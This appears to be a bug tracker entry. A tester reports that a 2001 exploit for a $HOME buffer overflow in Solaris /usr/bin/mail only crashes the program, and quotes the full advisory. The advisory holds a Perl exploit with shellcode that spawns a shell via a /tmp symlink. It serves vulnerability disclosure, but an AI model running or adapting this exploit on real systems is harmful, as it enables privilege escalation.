Bug 27907

I was testing the buffer overflow that was reported to bugtraq on June 4th
involving /usr/bin/mail on Solaris and the exploit does not gain root access.
It does cause /usr/bin/mail to seg fault and dump core.  I have gdb output
from the core file:

bash-2.05$ gdb /usr/bin/mail mail.core 
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(no debugging symbols found)...
Core was generated by `mail'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.4...(no debugging symbols found)...done.
Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)...
done.
#0  0x41414141 in ?? ()
(gdb) quit

Fix: 

Unknown
How-To-Repeat: Here is the advisory.  The "Details" section contains one method for getting
mail to dump core.  The exploit itself does the same.


Georgi Guninski security advisory #46, 2001

$HOME buffer overflow in SunOS 5.8 x86

Systems affected:
SunOS 5.8 x86 have not tested on other OSes

Risk: Medium
Date: 4 June 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts 
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on 
experiments though it may be false.
The opinions expressed in this advisory and program are my own and 
not of any company. The usual standard disclaimer applies, 
especially the fact that Georgi Guninski is not liable for any damages 
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no 
responsibility for content or misuse of this advisory or program or 
any derivatives thereof.


Description:

There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.


Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C

eip gets smashed with 0x41414141.

Exploit:
-------------solmail.pl----------------------
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
---------------------------------------------

Workaround:
chmod -s /usr/bin/mail

Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.